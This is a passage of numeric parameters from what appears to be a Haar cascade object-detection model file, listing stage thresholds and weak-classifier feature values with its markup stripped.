0 -1 362 -4.8266649246215820e-02 + + + -6.9579917192459106e-01 4.1976079344749451e-02 + + + <_> + + 0 -1 363 1.5214690007269382e-02 + + + -1.0818280279636383e-01 3.6460620164871216e-01 + + + <_> + + 0 -1 364 -6.0080131515860558e-03 + + + 3.0970990657806396e-01 -1.1359210312366486e-01 + + + <_> + + 0 -1 365 6.6127157770097256e-03 + + + 8.0665342509746552e-02 -4.6658530831336975e-01 + + + <_> + + 0 -1 366 -7.9607013612985611e-03 + + + -8.7201941013336182e-01 3.6774590611457825e-02 + + + <_> + + 0 -1 367 3.8847199175506830e-03 + + + -1.1666289716959000e-01 3.3070269227027893e-01 + + + <_> + + 0 -1 368 -1.0988810099661350e-03 + + + 2.3872570693492889e-01 -1.7656759917736053e-01 + + + + + <_> + 44 + -1.0368299484252930e+00 + + <_> + + 0 -1 369 3.5903379321098328e-03 + + + -2.3688079416751862e-01 2.4631640315055847e-01 + + + <_> + + 0 -1 370 6.4815930090844631e-03 + + + -3.1373620033264160e-01 1.8675759434700012e-01 + + + <_> + + 0 -1 371 7.3048402555286884e-05 + + + -2.7644351124763489e-01 1.6496239602565765e-01 + + + <_> + + 0 -1 372 -3.8514640182256699e-03 + + + -5.6014508008956909e-01 1.1294739693403244e-01 + + + <_> + + 0 -1 373 3.8588210009038448e-03 + + + 3.9848998188972473e-02 -5.8071857690811157e-01 + + + <_> + + 0 -1 374 -2.4651220068335533e-02 + + + 1.6755010187625885e-01 -2.5343671441078186e-01 + + + <_> + + 0 -1 375 4.7245521098375320e-02 + + + -1.0662080347537994e-01 3.9451980590820312e-01 + + + <_> + + 0 -1 376 6.5964651294052601e-03 + + + -1.7744250595569611e-01 2.7280190587043762e-01 + + + <_> + + 0 -1 377 -1.3177490327507257e-03 + + + -5.4272651672363281e-01 4.8606589436531067e-02 + + + <_> + + 0 -1 378 -5.0261709839105606e-03 + + + 2.4394249916076660e-01 -1.3143649697303772e-01 + + + <_> + + 0 -1 379 3.4632768947631121e-03 + + + 6.9049343466758728e-02 -7.0336240530014038e-01 + + + <_> + + 0 -1 380 2.1692588925361633e-03 + + + -1.3289460539817810e-01 2.2098529338836670e-01 + + + <_> + + 0 -1 381 2.9395870864391327e-02 + + + -2.8530520200729370e-01 1.3543990254402161e-01 + + + <_> + + 0 -1 382 -9.6181448316201568e-04 + + + -5.8041381835937500e-01 3.7450648844242096e-02 + + + <_> + + 0 -1 383 -1.0820999741554260e-01 + + + 3.9467281103134155e-01 -7.8655943274497986e-02 + + + <_> + + 0 -1 384 -1.8024869263172150e-02 + + + 2.7355629205703735e-01 -1.3415299355983734e-01 + + + <_> + + 0 -1 385 6.2509840354323387e-03 + + + 2.3388059809803963e-02 -8.0088591575622559e-01 + + + <_> + + 0 -1 386 -1.6088379779830575e-03 + + + -5.6762522459030151e-01 4.1215669363737106e-02 + + + <_> + + 0 -1 387 7.7564752427861094e-04 + + + -1.4891269803047180e-01 1.9086180627346039e-01 + + + <_> + + 0 -1 388 8.7122338300105184e-05 + + + -1.5557530522346497e-01 1.9428220391273499e-01 + + + <_> + + 0 -1 389 -2.0755320787429810e-02 + + + -6.3006532192230225e-01 3.6134380847215652e-02 + + + <_> + + 0 -1 390 -6.2931738793849945e-03 + + + 2.5609248876571655e-01 -1.0588269680738449e-01 + + + <_> + + 0 -1 391 1.0844149626791477e-02 + + + -1.0124850273132324e-01 3.0322128534317017e-01 + + + <_> + + 0 -1 392 -6.3752777350600809e-05 + + + 1.9111579656600952e-01 -1.3849230110645294e-01 + + + <_> + + 0 -1 393 6.6480963141657412e-05 + + + -1.5205250680446625e-01 2.1706309914588928e-01 + + + <_> + + 0 -1 394 1.3560829684138298e-03 + + + 4.9431789666414261e-02 -6.4279842376708984e-01 + + + <_> + + 0 -1 395 -9.0662558795884252e-04 + + + 1.7982010543346405e-01 -1.4044609665870667e-01 + + + <_> + + 0 -1 396 1.0473709553480148e-03 + + + -1.0933549702167511e-01 2.4265940487384796e-01 + + + <_> + + 0 -1 397 -1.0243969736620784e-03 + + + 2.7162680029869080e-01 -1.1820919811725616e-01 + + + <_> + + 0 -1 398 -1.2024149764329195e-03 + + + -7.0151102542877197e-01 3.9489898830652237e-02 + + + <_> + + 0 -1 399 7.6911649666726589e-03 + + + -9.2218913137912750e-02 3.1046289205551147e-01 + + + <_> + + 0 -1 400 -1.3966549932956696e-01 + + + 6.8979388475418091e-01 -3.9706118404865265e-02 + + + <_> + + 0 -1 401 2.1276050247251987e-03 + + + 9.7277611494064331e-02 -2.8841799497604370e-01 + + + <_> + + 0 -1 402 -2.7594310231506824e-03 + + + 2.4168670177459717e-01 -1.1277820169925690e-01 + + + <_> + + 0 -1 403 5.2236132323741913e-03 + + + -1.1430279910564423e-01 2.4256780743598938e-01 + + + <_> + + 0 -1 404 -1.2590440455824137e-03 + + + -5.9679388999938965e-01 4.7663960605859756e-02 + + + <_> + + 0 -1 405 -3.7192099262028933e-03 + + + -4.6414130926132202e-01 5.2847690880298615e-02 + + + <_> + + 0 -1 406 5.9696151874959469e-03 + + + -7.3244288563728333e-02 3.8743090629577637e-01 + + + <_> + + 0 -1 407 -5.1776720210909843e-03 + + + -7.4193227291107178e-01 4.0496710687875748e-02 + + + <_> + + 0 -1 408 5.0035100430250168e-03 + + + -1.3888800144195557e-01 1.8767620623111725e-01 + + + <_> + + 0 -1 409 -5.2013457752764225e-04 + + + -5.4940617084503174e-01 4.9417849630117416e-02 + + + <_> + + 0 -1 410 5.3168768063187599e-03 + + + -8.2482978701591492e-02 3.1740561127662659e-01 + + + <_> + + 0 -1 411 -1.4774589799344540e-02 + + + 2.0816099643707275e-01 -1.2115559726953506e-01 + + + <_> + + 0 -1 412 -4.1416451334953308e-02 + + + -8.2437807321548462e-01 3.3329188823699951e-02 + + + + + <_> + 53 + -1.0492420196533203e+00 + + <_> + + 0 -1 413 9.0962520334869623e-04 + + + 8.4579966962337494e-02 -5.6118410825729370e-01 + + + <_> + + 0 -1 414 -5.6139789521694183e-02 + + + 1.5341749787330627e-01 -2.6967319846153259e-01 + + + <_> + + 0 -1 415 1.0292009683325887e-03 + + + -2.0489980280399323e-01 2.0153179764747620e-01 + + + <_> + + 0 -1 416 2.8783010784536600e-03 + + + -1.7351140081882477e-01 2.1297949552536011e-01 + + + <_> + + 0 -1 417 -7.4144392274320126e-03 + + + -5.9624868631362915e-01 4.7077950090169907e-02 + + + <_> + + 0 -1 418 -1.4831849839538336e-03 + + + 1.9024610519409180e-01 -1.5986390411853790e-01 + + + <_> + + 0 -1 419 4.5968941412866116e-03 + + + 3.1447131186723709e-02 -6.8694341182708740e-01 + + + <_> + + 0 -1 420 2.4255330208688974e-03 + + + -2.3609359562397003e-01 1.1036109924316406e-01 + + + <_> + + 0 -1 421 -8.4950566291809082e-02 + + + 2.3107160627841949e-01 -1.3776530325412750e-01 + + + <_> + + 0 -1 422 -5.0145681016147137e-03 + + + 3.8676109910011292e-01 -5.6217379868030548e-02 + + + <_> + + 0 -1 423 -2.1482061129063368e-03 + + + 1.8191599845886230e-01 -1.7615699768066406e-01 + + + <_> + + 0 -1 424 -1.0396770201623440e-02 + + + -7.5351381301879883e-01 2.4091970175504684e-02 + + + <_> + + 0 -1 425 -1.3466750271618366e-02 + + + -7.2118860483169556e-01 3.4949369728565216e-02 + + + <_> + + 0 -1 426 -8.4435477852821350e-02 + + + -3.3792638778686523e-01 7.1113817393779755e-02 + + + <_> + + 0 -1 427 2.4771490134298801e-03 + + + -1.1765109747648239e-01 2.2541989386081696e-01 + + + <_> + + 0 -1 428 1.5828050673007965e-02 + + + -6.9536216557025909e-02 3.1395369768142700e-01 + + + <_> + + 0 -1 429 6.4916983246803284e-02 + + + -7.5043588876724243e-02 4.0677338838577271e-01 + + + <_> + + 0 -1 430 2.9652469675056636e-04 + + + 7.3953360319137573e-02 -3.4544008970260620e-01 + + + <_> + + 0 -1 431 1.3129520229995251e-03 + + + -1.6909439861774445e-01 1.5258370339870453e-01 + + + <_> + + 0 -1 432 -5.8032129891216755e-03 + + + 3.5260149836540222e-01 -8.3444066345691681e-02 + + + <_> + + 0 -1 433 -1.4791679382324219e-01 + + + 4.3004658818244934e-01 -5.7309929281473160e-02 + + + <_> + + 0 -1 434 -1.6584150493144989e-02 + + + 2.3432689905166626e-01 -1.0907640308141708e-01 + + + <_> + + 0 -1 435 3.0183270573616028e-03 + + + -1.3600939512252808e-01 2.6409289240837097e-01 + + + <_> + + 0 -1 436 -3.6471918225288391e-02 + + + -6.2809741497039795e-01 4.3545108288526535e-02 + + + <_> + + 0 -1 437 -7.3119226726703346e-05 + + + 1.6470630466938019e-01 -1.6463780403137207e-01 + + + <_> + + 0 -1 438 -3.6719450727105141e-03 + + + -4.7421360015869141e-01 4.8586919903755188e-02 + + + <_> + + 0 -1 439 -4.0151178836822510e-03 + + + 1.8222180008888245e-01 -1.4097510278224945e-01 + + + <_> + + 0 -1 440 1.9948020577430725e-02 + + + -6.9787658751010895e-02 3.6707460880279541e-01 + + + <_> + + 0 -1 441 7.6699437340721488e-04 + + + 5.5729299783706665e-02 -4.4585430622100830e-01 + + + <_> + + 0 -1 442 -1.1806039838120341e-03 + + + -4.6876621246337891e-01 4.8902221024036407e-02 + + + <_> + + 0 -1 443 1.5847349539399147e-02 + + + -1.2120209634304047e-01 2.0566530525684357e-01 + + + <_> + + 0 -1 444 -1.1985700111836195e-03 + + + 2.0262099802494049e-01 -1.2823820114135742e-01 + + + <_> + + 0 -1 445 -1.0964959859848022e-01 + + + -8.6619192361831665e-01 3.0351849272847176e-02 + + + <_> + + 0 -1 446 -9.2532606795430183e-03 + + + 2.9343119263648987e-01 -8.5361950099468231e-02 + + + <_> + + 0 -1 447 1.4686530455946922e-02 + + + 3.2798621803522110e-02 -7.7556562423706055e-01 + + + <_> + + 0 -1 448 -1.3514430029317737e-03 + + + 2.4426999688148499e-01 -1.1503250151872635e-01 + + + <_> + + 0 -1 449 -4.3728090822696686e-03 + + + 2.1687670052051544e-01 -1.3984480500221252e-01 + + + <_> + + 0 -1 450 3.4263390116393566e-03 + + + 4.5614220201969147e-02 -5.4567712545394897e-01 + + + <_> + + 0 -1 451 -3.8404068909585476e-03 + + + 1.4949500560760498e-01 -1.5062509477138519e-01 + + + <_> + + 0 -1 452 3.7988980766385794e-03 + + + -8.7301626801490784e-02 2.5481531023979187e-01 + + + <_> + + 0 -1 453 -2.0094281062483788e-03 + + + 1.7259070277214050e-01 -1.4288470149040222e-01 + + + <_> + + 0 -1 454 -2.4370709434151649e-03 + + + 2.6848098635673523e-01 -8.1898219883441925e-02 + + + <_> + + 0 -1 455 1.0485399980098009e-03 + + + 4.6113260090351105e-02 -4.7243279218673706e-01 + + + <_> + + 0 -1 456 1.7460780218243599e-03 + + + -1.1030430346727371e-01 2.0379729568958282e-01 + + + <_> + + 0 -1 457 5.8608627878129482e-03 + + + -1.5619659423828125e-01 1.5927439928054810e-01 + + + <_> + + 0 -1 458 -2.7724979445338249e-02 + + + 1.1349119991064072e-01 -2.1885140240192413e-01 + + + <_> + + 0 -1 459 4.7080639749765396e-02 + + + -4.1688729077577591e-02 5.3630048036575317e-01 + + + <_> + + 0 -1 460 -7.9283770173788071e-03 + + + -5.3595131635665894e-01 4.4237509369850159e-02 + + + <_> + + 0 -1 461 -1.2880540452897549e-02 + + + 2.3237949609756470e-01 -1.0246250033378601e-01 + + + <_> + + 0 -1 462 2.3604769259691238e-02 + + + -8.8291436433792114e-02 3.0561059713363647e-01 + + + <_> + + 0 -1 463 1.5902200713753700e-02 + + + -1.2238109856843948e-01 1.7849120497703552e-01 + + + <_> + + 0 -1 464 7.9939495772123337e-03 + + + -8.3729006350040436e-02 3.2319590449333191e-01 + + + <_> + + 0 -1 465 5.7100867852568626e-03 + + + 3.8479208946228027e-02 -6.8138152360916138e-01 + + + + + <_> + 51 + -1.1122100353240967e+00 + + <_> + + 0 -1 466 2.2480720654129982e-03 + + + -1.6416870057582855e-01 4.1648530960083008e-01 + + + <_> + + 0 -1 467 4.5813550241291523e-03 + + + -1.2465959787368774e-01 4.0385121107101440e-01 + + + <_> + + 0 -1 468 -1.6073239967226982e-03 + + + 2.6082459092140198e-01 -2.0282520353794098e-01 + + + <_> + + 0 -1 469 2.5205370038747787e-03 + + + -1.0557229816913605e-01 3.6669111251831055e-01 + + + <_> + + 0 -1 470 2.4119189474731684e-03 + + + -1.3877600431442261e-01 2.9959911108016968e-01 + + + <_> + + 0 -1 471 5.7156179100275040e-03 + + + -7.7683463692665100e-02 4.8481920361518860e-01 + + + <_> + + 0 -1 472 3.1093840952962637e-03 + + + -1.1229000240564346e-01 2.9215508699417114e-01 + + + <_> + + 0 -1 473 -8.6836628615856171e-02 + + + -3.6779600381851196e-01 7.2597242891788483e-02 + + + <_> + + 0 -1 474 5.2652182057499886e-03 + + + -1.0890290141105652e-01 3.1791260838508606e-01 + + + <_> + + 0 -1 475 -1.9913529977202415e-02 + + + -5.3373438119888306e-01 7.0585712790489197e-02 + + + <_> + + 0 -1 476 3.8297839928418398e-03 + + + -1.3575910031795502e-01 2.2788879275321960e-01 + + + <_> + + 0 -1 477 1.0431859642267227e-02 + + + 8.8797912001609802e-02 -4.7958970069885254e-01 + + + <_> + + 0 -1 478 -2.0040439441800117e-02 + + + 1.5745539963245392e-01 -1.7771570384502411e-01 + + + <_> + + 0 -1 479 -5.2967290394008160e-03 + + + -6.8434917926788330e-01 3.5671461373567581e-02 + + + <_> + + 0 -1 480 -2.1624139044433832e-03 + + + 2.8318038582801819e-01 -9.8511278629302979e-02 + + + <_> + + 0 -1 481 -3.5464888787828386e-04 + + + -3.7077340483665466e-01 8.0932952463626862e-02 + + + <_> + + 0 -1 482 -1.8152060511056334e-04 + + + -3.2207030057907104e-01 7.7551059424877167e-02 + + + <_> + + 0 -1 483 -2.7563021285459399e-04 + + + -3.2441279292106628e-01 8.7949477136135101e-02 + + + <_> + + 0 -1 484 6.3823810778558254e-03 + + + -8.8924713432788849e-02 3.1727218627929688e-01 + + + <_> + + 0 -1 485 1.1150909587740898e-02 + + + 7.1019843220710754e-02 -4.0494039654731750e-01 + + + <_> + + 0 -1 486 -1.0593760525807738e-03 + + + 2.6050668954849243e-01 -1.1765640228986740e-01 + + + <_> + + 0 -1 487 2.3906480055302382e-03 + + + -8.4388621151447296e-02 3.1230551004409790e-01 + + + <_> + + 0 -1 488 -1.1000749655067921e-02 + + + 1.9152249395847321e-01 -1.5210020542144775e-01 + + + <_> + + 0 -1 489 -2.4643228971399367e-04 + + + -3.1765159964561462e-01 8.6582258343696594e-02 + + + <_> + + 0 -1 490 2.3053269833326340e-02 + + + -1.0089760273694992e-01 2.5769290328025818e-01 + + + <_> + + 0 -1 491 -2.2135660983622074e-03 + + + 4.5689210295677185e-01 -5.2404791116714478e-02 + + + <_> + + 0 -1 492 -9.7139709396287799e-04 + + + -3.5518380999565125e-01 8.0094382166862488e-02 + + + <_> + + 0 -1 493 1.5676229959353805e-03 + + + 1.0091420263051987e-01 -2.1603040397167206e-01 + + + <_> + + 0 -1 494 7.5460801599547267e-04 + + + 5.7896178215742111e-02 -4.0461111068725586e-01 + + + <_> + + 0 -1 495 -2.0698970183730125e-02 + + + 3.1543630361557007e-01 -8.0713048577308655e-02 + + + <_> + + 0 -1 496 -2.0619940012693405e-02 + + + 2.7181661128997803e-01 -7.6358616352081299e-02 + + + <_> + + 0 -1 497 2.1611129865050316e-02 + + + 3.9493449032306671e-02 -5.9429651498794556e-01 + + + <_> + + 0 -1 498 6.5676742233335972e-03 + + + -9.8353669047355652e-02 2.3649279773235321e-01 + + + <_> + + 0 -1 499 -8.8434796780347824e-03 + + + -5.2523428201675415e-01 4.3099921196699142e-02 + + + <_> + + 0 -1 500 -9.4260741025209427e-03 + + + 2.4665130674839020e-01 -9.4130717217922211e-02 + + + <_> + + 0 -1 501 -1.9830230157822371e-03 + + + 2.6743701100349426e-01 -9.0069316327571869e-02 + + + <_> + + 0 -1 502 -1.7358399927616119e-03 + + + 1.5940019488334656e-01 -1.5789410471916199e-01 + + + <_> + + 0 -1 503 -1.3513869605958462e-02 + + + 4.0792331099510193e-01 -6.4223118126392365e-02 + + + <_> + + 0 -1 504 -1.9394010305404663e-02 + + + 1.8015649914741516e-01 -1.3731400668621063e-01 + + + <_> + + 0 -1 505 -3.2684770412743092e-03 + + + 2.9080390930175781e-01 -8.0161906778812408e-02 + + + <_> + + 0 -1 506 4.1773589327931404e-04 + + + -2.1412980556488037e-01 1.1273439973592758e-01 + + + <_> + + 0 -1 507 -7.6351119205355644e-03 + + + -4.5365959405899048e-01 5.4625060409307480e-02 + + + <_> + + 0 -1 508 -8.3652976900339127e-03 + + + 2.6472920179367065e-01 -9.4334110617637634e-02 + + + <_> + + 0 -1 509 2.7768449857831001e-02 + + + -1.0136710107326508e-01 2.0743979513645172e-01 + + + <_> + + 0 -1 510 -5.4891228675842285e-02 + + + 2.8840309381484985e-01 -7.5312040746212006e-02 + + + <_> + + 0 -1 511 2.5793339591473341e-03 + + + -1.1088529974222183e-01 2.1724960207939148e-01 + + + <_> + + 0 -1 512 6.6196516854688525e-05 + + + -1.8872100114822388e-01 1.4440689980983734e-01 + + + <_> + + 0 -1 513 5.0907251425087452e-03 + + + -7.7601231634616852e-02 2.9398378729820251e-01 + + + <_> + + 0 -1 514 -1.0444259643554688e-01 + + + 2.0133109390735626e-01 -1.0903970152139664e-01 + + + <_> + + 0 -1 515 -6.7273090826347470e-04 + + + 1.7945900559425354e-01 -1.2023670226335526e-01 + + + <_> + + 0 -1 516 3.2412849832326174e-03 + + + 4.0688131004571915e-02 -5.4600572586059570e-01 + + + + + <_> + 44 + -1.2529590129852295e+00 + + <_> + + 0 -1 517 5.2965320646762848e-03 + + + -1.2154529988765717e-01 6.4420372247695923e-01 + + + <_> + + 0 -1 518 -2.5326260365545750e-03 + + + 5.1233220100402832e-01 -1.1108259856700897e-01 + + + <_> + + 0 -1 519 -2.9183230362832546e-03 + + + -5.0615429878234863e-01 1.1501979827880859e-01 + + + <_> + + 0 -1 520 -2.3692339658737183e-02 + + + 3.7167280912399292e-01 -1.4672680199146271e-01 + + + <_> + + 0 -1 521 2.0177470520138741e-02 + + + -1.7388840019702911e-01 4.7759491205215454e-01 + + + <_> + + 0 -1 522 -2.1723210811614990e-02 + + + -4.3880090117454529e-01 1.3576899468898773e-01 + + + <_> + + 0 -1 523 2.8369780629873276e-03 + + + -1.2512069940567017e-01 4.6789029240608215e-01 + + + <_> + + 0 -1 524 2.7148420922458172e-03 + + + -8.8018856942653656e-02 3.6866518855094910e-01 + + + <_> + + 0 -1 525 3.2625689636915922e-03 + + + -8.5335306823253632e-02 5.1644730567932129e-01 + + + <_> + + 0 -1 526 -3.5618850961327553e-03 + + + -4.4503930211067200e-01 9.1738171875476837e-02 + + + <_> + + 0 -1 527 1.9227749435231090e-03 + + + -1.1077310144901276e-01 3.9416998624801636e-01 + + + <_> + + 0 -1 528 -3.5111969918943942e-04 + + + -3.7775701284408569e-01 1.2166170030832291e-01 + + + <_> + + 0 -1 529 1.9121779769193381e-04 + + + 7.4816018342971802e-02 -4.0767100453376770e-01 + + + <_> + + 0 -1 530 -2.6525629800744355e-04 + + + -3.3151718974113464e-01 1.1291120201349258e-01 + + + <_> + + 0 -1 531 2.0086700096726418e-02 + + + -6.1598118394613266e-02 5.6128817796707153e-01 + + + <_> + + 0 -1 532 3.6783248186111450e-02 + + + -6.0251388698816299e-02 5.2192491292953491e-01 + + + <_> + + 0 -1 533 1.3941619545221329e-03 + + + -3.5503050684928894e-01 1.0863020271062851e-01 + + + <_> + + 0 -1 534 -1.5181669965386391e-02 + + + 2.2739650309085846e-01 -1.6252990067005157e-01 + + + <_> + + 0 -1 535 4.6796840615570545e-03 + + + -5.7535041123628616e-02 4.8124238848686218e-01 + + + <_> + + 0 -1 536 -1.7988319450523704e-04 + + + -3.0587670207023621e-01 1.0868159681558609e-01 + + + <_> + + 0 -1 537 -3.5850999411195517e-03 + + + 3.8596940040588379e-01 -9.2194072902202606e-02 + + + <_> + + 0 -1 538 1.0793360415846109e-03 + + + -1.1190389841794968e-01 3.1125208735466003e-01 + + + <_> + + 0 -1 539 7.3285802500322461e-05 + + + -2.0239910483360291e-01 1.5586680173873901e-01 + + + <_> + + 0 -1 540 1.3678739964962006e-01 + + + -2.1672859787940979e-01 1.4420390129089355e-01 + + + <_> + + 0 -1 541 -1.1729259975254536e-02 + + + 4.3503770232200623e-01 -7.4886530637741089e-02 + + + <_> + + 0 -1 542 3.9230841211974621e-03 + + + -5.0289329141378403e-02 5.8831161260604858e-01 + + + <_> + + 0 -1 543 -2.9819121118634939e-04 + + + -3.8232401013374329e-01 9.2451132833957672e-02 + + + <_> + + 0 -1 544 -4.7992770560085773e-03 + + + 4.8488789796829224e-01 -7.3136523365974426e-02 + + + <_> + + 0 -1 545 -3.0155890271998942e-04 + + + -3.5757359862327576e-01 1.0581880062818527e-01 + + + <_> + + 0 -1 546 1.0390769690275192e-02 + + + 5.2920468151569366e-02 -5.7249659299850464e-01 + + + <_> + + 0 -1 547 -9.4488041941076517e-04 + + + 4.4966828823089600e-01 -8.3075523376464844e-02 + + + <_> + + 0 -1 548 1.2651870492845774e-03 + + + -9.6695438027381897e-02 3.1302270293235779e-01 + + + <_> + + 0 -1 549 1.7094539478421211e-02 + + + -8.1248976290225983e-02 3.6113831400871277e-01 + + + <_> + + 0 -1 550 2.5973359588533640e-03 + + + -1.1338350176811218e-01 2.2233949601650238e-01 + + + <_> + + 0 -1 551 1.4527440071105957e-03 + + + 6.9750443100929260e-02 -3.6720710992813110e-01 + + + <_> + + 0 -1 552 4.7638658434152603e-03 + + + -6.5788961946964264e-02 3.8328540325164795e-01 + + + <_> + + 0 -1 553 -6.2501081265509129e-03 + + + -7.0754468441009521e-01 3.8350198417901993e-02 + + + <_> + + 0 -1 554 -3.1765329185873270e-03 + + + 1.3755400478839874e-01 -2.3240029811859131e-01 + + + <_> + + 0 -1 555 3.2191169448196888e-03 + + + -1.2935450673103333e-01 2.2737880051136017e-01 + + + <_> + + 0 -1 556 -5.6365579366683960e-03 + + + 3.8067150115966797e-01 -6.7246839404106140e-02 + + + <_> + + 0 -1 557 -2.3844049428589642e-04 + + + -3.1122380495071411e-01 8.3838358521461487e-02 + + + <_> + + 0 -1 558 -4.1017560288310051e-03 + + + 2.6067280769348145e-01 -1.0449740290641785e-01 + + + <_> + + 0 -1 559 1.3336989795789123e-03 + + + -5.8250140398740768e-02 4.7682440280914307e-01 + + + <_> + + 0 -1 560 -1.2090239906683564e-03 + + + 1.4834509789943695e-01 -1.7329469323158264e-01 + + + + + <_> + 72 + -1.1188739538192749e+00 + + <_> + + 0 -1 561 -3.1760931015014648e-03 + + + 3.3333331346511841e-01 -1.6642349958419800e-01 + + + <_> + + 0 -1 562 2.4858079850673676e-02 + + + -7.2728872299194336e-02 5.6674581766128540e-01 + + + <_> + + 0 -1 563 -7.7597280032932758e-03 + + + 4.6258568763732910e-01 -9.3112178146839142e-02 + + + <_> + + 0 -1 564 7.8239021822810173e-03 + + + -2.7414610981941223e-01 1.3243049383163452e-01 + + + <_> + + 0 -1 565 -1.0948839597404003e-02 + + + 2.2345480322837830e-01 -1.4965449273586273e-01 + + + <_> + + 0 -1 566 -3.4349008928984404e-03 + + + 3.8724988698959351e-01 -6.6121727228164673e-02 + + + <_> + + 0 -1 567 -3.1156290322542191e-02 + + + 2.4078279733657837e-01 -1.1406909674406052e-01 + + + <_> + + 0 -1 568 1.1100519914180040e-03 + + + -2.8207978606224060e-01 1.3275429606437683e-01 + + + <_> + + 0 -1 569 3.1762740109115839e-03 + + + 3.4585930407047272e-02 -5.1374310255050659e-01 + + + <_> + + 0 -1 570 -2.7977459132671356e-02 + + + 2.3926779627799988e-01 -1.3255919516086578e-01 + + + <_> + + 0 -1 571 -2.3097939789295197e-02 + + + 3.9019620418548584e-01 -7.8478008508682251e-02 + + + <_> + + 0 -1 572 -3.9731930010020733e-03 + + + 3.0691069364547729e-01 -7.0601403713226318e-02 + + + <_> + + 0 -1 573 3.0335749033838511e-03 + + + -1.4002190530300140e-01 1.9134859740734100e-01 + + + <_> + + 0 -1 574 -1.0844370350241661e-02 + + + 1.6548730432987213e-01 -1.5657779574394226e-01 + + + <_> + + 0 -1 575 -1.8150510266423225e-02 + + + -6.3243591785430908e-01 3.9561819285154343e-02 + + + <_> + + 0 -1 576 7.1052298881113529e-04 + + + -1.8515570461750031e-01 1.3408809900283813e-01 + + + <_> + + 0 -1 577 1.0893340222537518e-02 + + + -2.6730230078101158e-02 6.0971802473068237e-01 + + + <_> + + 0 -1 578 -2.8780900174751878e-04 + + + -3.0065140128135681e-01 7.3171459138393402e-02 + + + <_> + + 0 -1 579 -3.5855069290846586e-03 + + + 2.6217609643936157e-01 -7.9714097082614899e-02 + + + <_> + + 0 -1 580 -1.9759280607104301e-02 + + + -5.9039229154586792e-01 4.0698971599340439e-02 + + + <_> + + 0 -1 581 -1.0845210403203964e-02 + + + 1.6364559531211853e-01 -1.2586060166358948e-01 + + + <_> + + 0 -1 582 -4.3183090165257454e-03 + + + -5.7474881410598755e-01 3.7644311785697937e-02 + + + <_> + + 0 -1 583 1.4913700288161635e-03 + + + 6.0913469642400742e-02 -3.0222928524017334e-01 + + + <_> + + 0 -1 584 1.5675699338316917e-02 + + + -7.3145911097526550e-02 2.9379451274871826e-01 + + + <_> + + 0 -1 585 -1.1033560149371624e-02 + + + 3.9318808913230896e-01 -4.7084320336580276e-02 + + + <_> + + 0 -1 586 8.8555756956338882e-03 + + + 3.7601381540298462e-02 -4.9108490347862244e-01 + + + <_> + + 0 -1 587 -8.9665671112015843e-04 + + + 1.7952020466327667e-01 -1.1086239665746689e-01 + + + <_> + + 0 -1 588 -3.0592409893870354e-03 + + + -4.4429460167884827e-01 5.1005430519580841e-02 + + + <_> + + 0 -1 589 6.3201179727911949e-03 + + + -5.2841089665889740e-02 3.7197101116180420e-01 + + + <_> + + 0 -1 590 2.0682830363512039e-02 + + + 5.7667169719934464e-02 -3.6901599168777466e-01 + + + <_> + + 0 -1 591 9.9822662770748138e-02 + + + -3.7377018481492996e-02 5.8165591955184937e-01 + + + <_> + + 0 -1 592 -6.5854229032993317e-03 + + + 2.8509441018104553e-01 -6.0978069901466370e-02 + + + <_> + + 0 -1 593 -6.0900300741195679e-02 + + + -5.1031768321990967e-01 3.7787400186061859e-02 + + + <_> + + 0 -1 594 -2.9991709161549807e-03 + + + -4.7943010926246643e-01 3.8833890110254288e-02 + + + <_> + + 0 -1 595 -9.8906438797712326e-03 + + + 4.0609079599380493e-01 -4.7869648784399033e-02 + + + <_> + + 0 -1 596 -8.2688927650451660e-02 + + + -7.0671182870864868e-01 2.7487749233841896e-02 + + + <_> + + 0 -1 597 5.0060399807989597e-03 + + + 2.8208440169692039e-02 -5.2909690141677856e-01 + + + <_> + + 0 -1 598 6.1695030890405178e-03 + + + -5.4554861038923264e-02 3.2837980985641479e-01 + + + <_> + + 0 -1 599 -3.3914761152118444e-03 + + + 9.2117667198181152e-02 -2.1637110412120819e-01 + + + <_> + + 0 -1 600 -2.6131230406463146e-03 + + + 1.3651019334793091e-01 -1.3781130313873291e-01 + + + <_> + + 0 -1 601 8.0490659456700087e-04 + + + -6.8637110292911530e-02 3.3581069111824036e-01 + + + <_> + + 0 -1 602 -3.8106508553028107e-02 + + + 2.9445430636405945e-01 -6.8239226937294006e-02 + + + <_> + + 0 -1 603 7.2450799052603543e-05 + + + -1.6750130057334900e-01 1.2178230285644531e-01 + + + <_> + + 0 -1 604 1.5837959945201874e-03 + + + -9.2042848467826843e-02 2.1348990499973297e-01 + + + <_> + + 0 -1 605 1.2924340553581715e-03 + + + 6.2917232513427734e-02 -3.6174508929252625e-01 + + + <_> + + 0 -1 606 9.9146775901317596e-03 + + + 1.9534060731530190e-02 -8.1015038490295410e-01 + + + <_> + + 0 -1 607 -1.7086310544982553e-03 + + + 2.5525239109992981e-01 -6.8229459226131439e-02 + + + <_> + + 0 -1 608 2.1844399161636829e-03 + + + 2.3314049467444420e-02 -8.4296780824661255e-01 + + + <_> + + 0 -1 609 -3.4244330599904060e-03 + + + 2.7213689684867859e-01 -7.6395228505134583e-02 + + + <_> + + 0 -1 610 2.7591470279730856e-04 + + + -1.0742840170860291e-01 2.2888970375061035e-01 + + + <_> + + 0 -1 611 -6.0005177510902286e-04 + + + -2.9854211211204529e-01 6.3479736447334290e-02 + + + <_> + + 0 -1 612 -2.5001438916660845e-04 + + + -2.7178969979286194e-01 6.9615006446838379e-02 + + + <_> + + 0 -1 613 6.8751391954720020e-03 + + + -5.7185899466276169e-02 3.6695951223373413e-01 + + + <_> + + 0 -1 614 1.2761900201439857e-02 + + + 6.7955687642097473e-02 -2.8534150123596191e-01 + + + <_> + + 0 -1 615 -1.4752789866179228e-03 + + + 2.0680660009384155e-01 -1.0059390217065811e-01 + + + <_> + + 0 -1 616 1.2138819694519043e-01 + + + -9.7126796841621399e-02 1.9789619743824005e-01 + + + <_> + + 0 -1 617 -5.0081279128789902e-02 + + + 2.8417178988456726e-01 -6.7879997193813324e-02 + + + <_> + + 0 -1 618 3.1454950571060181e-02 + + + -8.9468672871589661e-02 2.1298420429229736e-01 + + + <_> + + 0 -1 619 1.8878319533541799e-03 + + + -1.1656440049409866e-01 1.6663520038127899e-01 + + + <_> + + 0 -1 620 -5.7211960665881634e-03 + + + 2.3702140152454376e-01 -9.0776607394218445e-02 + + + <_> + + 0 -1 621 -1.8076719425152987e-04 + + + 1.7951929569244385e-01 -1.0793480277061462e-01 + + + <_> + + 0 -1 622 -1.9761849939823151e-01 + + + 4.5674291253089905e-01 -4.0480159223079681e-02 + + + <_> + + 0 